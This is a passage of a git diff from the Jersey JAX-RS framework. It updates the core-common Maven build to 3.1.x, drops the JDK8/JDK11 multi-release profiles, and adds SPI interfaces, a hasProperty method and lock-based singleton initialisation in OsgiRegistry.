         assertTrue(request.getPropertyNames().contains("name"));
 
+        assertTrue(request.getConfiguration().hasProperty("name"));
+        assertTrue(request.hasProperty("name"));
+
         assertEquals("value-global", request.getConfiguration().getProperty("name"));
         assertEquals("value-request", request.getProperty("name"));
 
diff --git a/core-common/pom.xml b/core-common/pom.xml
index 0a1c086..a1ba6b4 100644
--- a/core-common/pom.xml
+++ b/core-common/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -216,8 +216,8 @@
             <artifactId>jakarta.annotation-api</artifactId>
         </dependency>
         <dependency>
-            <groupId>com.sun.activation</groupId>
-            <artifactId>jakarta.activation</artifactId>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
             <scope>provided</scope>
             <optional>true</optional>
         </dependency>
@@ -254,448 +254,9 @@
 
     <profiles>
         <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>src/main/jsr166</source>
-                                        <source>src/main/java8</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <dependencies>
-                            <dependency>
-                                <groupId>com.sun</groupId>
-                                <artifactId>tools</artifactId>
-                                <version>1.8.0</version>
-                                <scope>system</scope>
-                                <systemPath>${java.home}/../lib/tools.jar</systemPath>
-                            </dependency>
-                        </dependencies>
-                        <executions>
-                            <execution>
-                                <phase>validate</phase>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                                <configuration>
-                                    <target>
-                                        <echo>Building for JDK8</echo>
-                                    </target>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <!-- need to compile this to be able to compile-2-java8 -->
-                                <id>compile-1-jsr166</id>
-                                <phase>process-resources</phase>
-                                <configuration>
-                                    <target>
-                                        <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}"
-                                               classpath="${project.build.outputDirectory}" includeantruntime="false" />
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                            <execution>
-                                <!-- Compile these files with jdk 8 and put them aside to be included in multi-release jar -->
-                                <!-- Multi-release jar is built by jdk 11+, but these classes are buildable by jdk 8 only -->
-                                <id>compile-2-java8</id>
-                                <phase>process-resources</phase>
-                                <configuration>
-                                    <target>
-                                        <mkdir dir="${java8.build.outputDirectory}" />
-                                        <javac srcdir="${java8.sourceDirectory}" destdir="${java8.build.outputDirectory}"
-                                               classpath="${project.build.outputDirectory}" includeantruntime="false" />
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>validate</phase>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                                <configuration>
-                                    <target>
-                                        <echo>Building for JDK 11+</echo>
-                                    </target>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>compile-1-jsr166</id>
-                                <phase>process-resources</phase>
-                                <configuration>
-                                    <target>
-                                        <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}"
-                                               classpath="${project.build.outputDirectory}" includeantruntime="false" />
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                            <execution>
-                                <!-- build these java 11 specific classes to be put to META-INF/versions/11 later -->
-                                <id>compile-2-java11</id>
-                                <phase>process-resources</phase>
-                                <configuration>
-                                    <target>
-                                        <mkdir dir="${java11.build.outputDirectory}" />
-                                        <javac srcdir="${java11.sourceDirectory}" destdir="${java11.build.outputDirectory}"
-                                               classpath="${project.build.outputDirectory}" includeantruntime="false" release="11" />
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>compile-0-addsources</id>
-                                <phase>process-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>src/main/jsr166</source>
-                                        <source>src/main/java11</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <version>${compiler.common.mvn.plugin.version}</version>
-                        <executions>
-                            <execution>
-                                <id>default-compile</id>
-                                <configuration>
-                                    <!-- compile everything to ensure module-info contains right entries -->
-                                    <release>11</release>
-                                </configuration>
-                            </execution>
-                       </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target/classes-java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.class</exists>
-                </file>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <artifactId>maven-clean-plugin</artifactId>
-                        <!-- only one file set per execution works -->
-                        <executions>
-                            <execution>
-                                <id>remove-jdk11-generated-sources</id>
-                                <phase>initialize</phase>
-                                <goals>
-                                    <goal>clean</goal>
-                                </goals>
-                                <configuration>
-                                    <excludeDefaultDirectories>true</excludeDefaultDirectories>
-                                    <filesets>
-                                        <fileset>
-                                            <directory>${project.build.directory}/generated-sources</directory>
-                                        </fileset>
-                                    </filesets>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>remove-jdk11-classes</id>
-                                <phase>initialize</phase>
-                                <goals>
-                                    <goal>clean</goal>
-                                </goals>
-                                <configuration>
-                                    <excludeDefaultDirectories>true</excludeDefaultDirectories>
-                                    <filesets>
-                                        <fileset>
-                                            <directory>${project.build.directory}/classes</directory>
-                                        </fileset>
-                                    </filesets>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk11-sources</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java11.sourceDirectory}/org/glassfish/jersey</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>copy-jdk11-classes-to-meta-inf</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java11.build.outputDirectory}</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK8FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java8.build.outputDirectory} does not work here -->
-                    <exists>target/classes-java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.class</exists>
-                </file>
-                <jdk>[11,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <artifactId>maven-clean-plugin</artifactId>
-                        <!-- only one file set per execution works -->
-                        <executions>
-                            <execution>
-                                <id>remove-jdk11-jsr166-sources</id>
-                                <phase>initialize</phase>
-                                <goals>
-                                    <goal>clean</goal>
-                                </goals>
-                                <configuration>
-                                    <excludeDefaultDirectories>true</excludeDefaultDirectories>
-                                    <filesets>
-                                        <fileset>
-                                            <directory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</directory>
-                                        </fileset>
-                                    </filesets>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>remove-jdk11-jsr166-META-INF-sources</id>
-                                <phase>initialize</phase>
-                                <goals>
-                                    <goal>clean</goal>
-                                </goals>
-                                <configuration>
-                                    <excludeDefaultDirectories>true</excludeDefaultDirectories>
-                                    <filesets>
-                                        <fileset>
-                                            <directory>${project.build.directory}/generated-sources/rsrc-gen/META-INF</directory>
-                                        </fileset>
-                                    </filesets>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>remove-jdk11-jsr166-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>clean</goal>
-                                </goals>
-                                <configuration>
-                                    <excludeDefaultDirectories>true</excludeDefaultDirectories>
-                                    <filesets>
-                                        <fileset>
-                                            <directory>${project.build.outputDirectory}/org/glassfish/jersey/internal/jsr166</directory>
-                                            <includes>
-                                                <include>*.class</include>
-                                            </includes>
-                                            <excludes>
-                                                <exclude>Flow*.class</exclude>
-                                                <exclude>SubmittableFlowPublisher.class</exclude>
-                                                <exclude>package-info.class</exclude>
-                                            </excludes>
-                                        </fileset>
-                                    </filesets>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk8-classes-ouputDirectory</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.outputDirectory}</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java8.build.outputDirectory}</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>copy-jdk8-sources</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java8.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>copy-jdk11-sources</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey/internal/jsr166</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java11.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                            <execution>
-                                <id>copy-jdk11-classes-to-meta-inf</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java11.build.outputDirectory}</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-source-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>attach-sources</id>
-                                <phase>package</phase>
-                                <goals>
-                                    <goal>jar-no-fork</goal>
-                                </goals>
-                                <configuration>
-                                    <excludes>
-                                        <exclude>org/glassfish/jersey/internal/jsr166/Jdk9SubmissionPublisher.java</exclude>
-                                    </excludes>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>build.jdk20-</id>
             <activation>
-                <jdk>[1.8,21)</jdk>
+                <jdk>[11,21)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -799,11 +360,22 @@
                     <!-- ${java21.build.outputDirectory} does not work here -->
                     <exists>target/classes-java21/org/glassfish/jersey/innate/VirtualThreadSupport.class</exists>
                 </file>
-                <jdk>[1.8,21)</jdk>
+                <jdk>[11,21)</jdk>
             </activation>
             <build>
                 <plugins>
                     <plugin>
+                        <groupId>org.apache.felix</groupId>
+                        <artifactId>maven-bundle-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <instructions>
+                                <Multi-Release>true</Multi-Release>
+                            </instructions>
+                        </configuration>
+                    </plugin>
+                    <plugin>
                         <groupId>org.apache.maven.plugins</groupId>
                         <artifactId>maven-resources-plugin</artifactId>
                         <inherited>true</inherited>
@@ -850,7 +422,7 @@
                 <jdk>[24,)</jdk>
             </activation>
             <properties>
-               <surefire.security.argline />
+                <surefire.security.argline />
             </properties>
             <build>
                 <plugins>
@@ -892,11 +464,6 @@
 
     <properties>
         <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/surefire.policy</surefire.security.argline>
-        <jsr166.sourceDirectory>${project.basedir}/src/main/jsr166</jsr166.sourceDirectory>
-        <java8.build.outputDirectory>${project.build.directory}/classes-java8</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.build.directory}/classes-java11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
         <java21.build.outputDirectory>${project.build.directory}/classes-java21</java21.build.outputDirectory>
         <java21.sourceDirectory>${project.basedir}/src/main/java21</java21.sourceDirectory>
     </properties>
diff --git a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java
index d3a9d47..308ff94 100644
--- a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java
+++ b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java
@@ -373,7 +373,7 @@
      *     The default is {@link  java.util.concurrent.Executors#defaultThreadFactory()} on platform threads and
      *     {@code Thread.ofVirtual().factory()} on virtual threads.
      * </p>
-     * @since 2.44
+     * @since 3.1.7
      */
     public static String THREAD_FACTORY = "jersey.config.threads.factory";
 
@@ -383,9 +383,9 @@
      *     of threads by {@code FixedThreadPool}.
      * </p>
      * <p>
-     *     The default is {@code false} for this version of Jersey, and {@code true} for Jersey 3.1+.
+     *     The default is {@code false} for this version of Jersey.
      * </p>
-     * @since 2.44
+     * @since 3.1.7
      */
     public static String USE_VIRTUAL_THREADS = "jersey.config.threads.use.virtual";
 
diff --git a/core-common/src/main/java11/org/glassfish/jersey/innate/io/InputStreamWrapper.java b/core-common/src/main/java/org/glassfish/jersey/innate/io/InputStreamWrapper.java
similarity index 100%
rename from core-common/src/main/java11/org/glassfish/jersey/innate/io/InputStreamWrapper.java
rename to core-common/src/main/java/org/glassfish/jersey/innate/io/InputStreamWrapper.java
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java
new file mode 100644
index 0000000..606e212
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.spi;
+
+import jakarta.ws.rs.core.EntityPart;
+
+/**
+ * Jersey extension of provider of EntityPart.Builder.
+ * A service meant to be implemented solely by Jersey.
+ *
+ * @since 3.1.0
+ */
+public interface EntityPartBuilderProvider {
+
+    /**
+     * @param partName name of the part to create within the multipart entity.
+     * @return {@link EntityPart.Builder} for building new {@link EntityPart} instances.
+     */
+    public EntityPart.Builder withName(String partName);
+}
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java
new file mode 100644
index 0000000..09c751e
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.spi;
+
+import org.glassfish.jersey.message.MessageBodyWorkers;
+
+/**
+ * Entity type that expects the {@link MessageBodyWorkers} to be set for converting the entity to another types.
+ */
+public interface MessageBodyWorkersSettable {
+
+    /**
+     * Set message body workers used to transform an entity stream into particular Java type.
+     *
+     * @param messageBodyWorkers message body workers.
+     */
+    public void setMessageBodyWorkers(final MessageBodyWorkers messageBodyWorkers);
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
index dd25372..3d70312 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Common Jersey innate SPI classes. The innate package will not be opened by JPMS.
+ */
+package org.glassfish.jersey.innate.spi;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
index aa439db..39940fb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
@@ -25,14 +25,20 @@
 import jakarta.ws.rs.core.CacheControl;
 import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.EntityTag;
 import jakarta.ws.rs.core.Link;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.NewCookie;
 import jakarta.ws.rs.core.Response.ResponseBuilder;
 import jakarta.ws.rs.core.UriBuilder;
+import jakarta.ws.rs.ext.ParamConverter;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 
+import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.message.internal.JerseyLink;
 import org.glassfish.jersey.message.internal.OutboundJaxrsResponse;
 import org.glassfish.jersey.message.internal.OutboundMessageContext;
@@ -50,6 +56,8 @@
 
     private final Set<HeaderDelegateProvider> hps;
     private final Map<Class<?>, HeaderDelegate<?>> map;
+    private LazyValue<EntityPartBuilderProvider> entityPartBuilderProvider = Values.lazy(
+            (Value<EntityPartBuilderProvider>) () -> findEntityPartBuilderProvider());
 
     /**
      * Initialization constructor. The injection manager will be shut down.
@@ -117,4 +125,24 @@
 
         return null;
     }
+
+    @Override
+    public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException {
+        return entityPartBuilderProvider.get().withName(partName);
+    }
+
+    /**
+     * Obtain a {@code RuntimeDelegate} instance using the method described in {@link #getInstance}.
+     *
+     * @return an instance of {@code RuntimeDelegate}.
+     */
+    private static EntityPartBuilderProvider findEntityPartBuilderProvider() {
+        for (final EntityPartBuilderProvider entityPartBuilder : ServiceFinder.find(EntityPartBuilderProvider.class)) {
+            if (entityPartBuilder != null) {
+                return entityPartBuilder;
+            }
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.NO_ENTITYPART_BUILDER_FOUND());
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
index 65ac48b..12eb78b 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
@@ -23,7 +23,6 @@
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.container.DynamicFeature;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Map;
 import java.util.Set;
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
index eb86f0c..55e5a68 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
@@ -181,6 +181,11 @@
             for (ServiceHolder<ExceptionMapper> mapperHandle: mapperHandles) {
                 ExceptionMapper mapper = mapperHandle.getInstance();
 
+                // the default exception mapper is processed by the ServerRuntime
+                if ("org.glassfish.jersey.server.DefaultExceptionMapper".equals(mapper.getClass().getName())) {
+                    continue;
+                }
+
                 if (Proxy.isProxyClass(mapper.getClass())) {
                     SortedSet<Class<? extends ExceptionMapper>> mapperTypes =
                             new TreeSet<>((o1, o2) -> o1.isAssignableFrom(o2) ? -1 : 1);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
index aed1cfe..3cce5bd 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -64,6 +64,11 @@
     }
 
     @Override
+    public boolean hasProperty(final String name) {
+        return store.containsKey(name);
+    }
+
+    @Override
     public Object getProperty(String name) {
         return store.get(name);
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
index cb7545f..77ab1e1 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,9 @@
 import java.util.ResourceBundle;
 import java.util.concurrent.Callable;
 import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.concurrent.locks.ReentrantReadWriteLock;
 import java.util.jar.JarEntry;
 import java.util.jar.JarInputStream;
@@ -79,6 +81,7 @@
     private final Map<Long, Map<String, Callable<List<Class<?>>>>> factories =
             new HashMap<Long, Map<String, Callable<List<Class<?>>>>>();
     private final ReadWriteLock lock = new ReentrantReadWriteLock();
+    private static final Lock INSTANCE_LOCK = new ReentrantLock();
 
     private static OsgiRegistry instance;
 
@@ -90,16 +93,21 @@
      *
      * @return an {@code OsgiRegistry} instance.
      */
-    public static synchronized OsgiRegistry getInstance() {
-        if (instance == null) {
-            final ClassLoader classLoader = AccessController
-                    .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class));
-            if (classLoader instanceof BundleReference) {
-                final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext();
-                if (context != null) { // context could be still null if the current bundle has not been started
-                    instance = new OsgiRegistry(context);
+    public static OsgiRegistry getInstance() {
+        INSTANCE_LOCK.lock();
+        try {
+            if (instance == null) {
+                final ClassLoader classLoader = AccessController
+                        .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class));
+                if (classLoader instanceof BundleReference) {
+                    final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext();
+                    if (context != null) { // context could be still null if the current bundle has not been started
+                        instance = new OsgiRegistry(context);
+                    }
                 }
             }
+        } finally {
+            INSTANCE_LOCK.unlock();
         }
         return instance;
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
index 70833b9..3413de0 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,6 +43,22 @@
      */
     public Object getProperty(String name);
 
+    /**
+     * Returns {@code true} if the property with the given name registered in the current request/response
+     * exchange context, or {@code false} if there is no property by that name.
+     * <p>
+     * Use the {@link #getProperty} method with a property name to get the value of
+     * a property.
+     * </p>
+     *
+     * @return {@code true} if a property matching the given name exists, or
+     *         {@code false} otherwise.
+     * @see #getProperty
+     * @since 3.1.0
+     */
+    public default boolean hasProperty(String name) {
+        return getProperty(name) != null;
+    }
 
     /**
      * Returns an immutable {@link java.util.Collection collection} containing the property
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
index 5f954ba..b21616d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
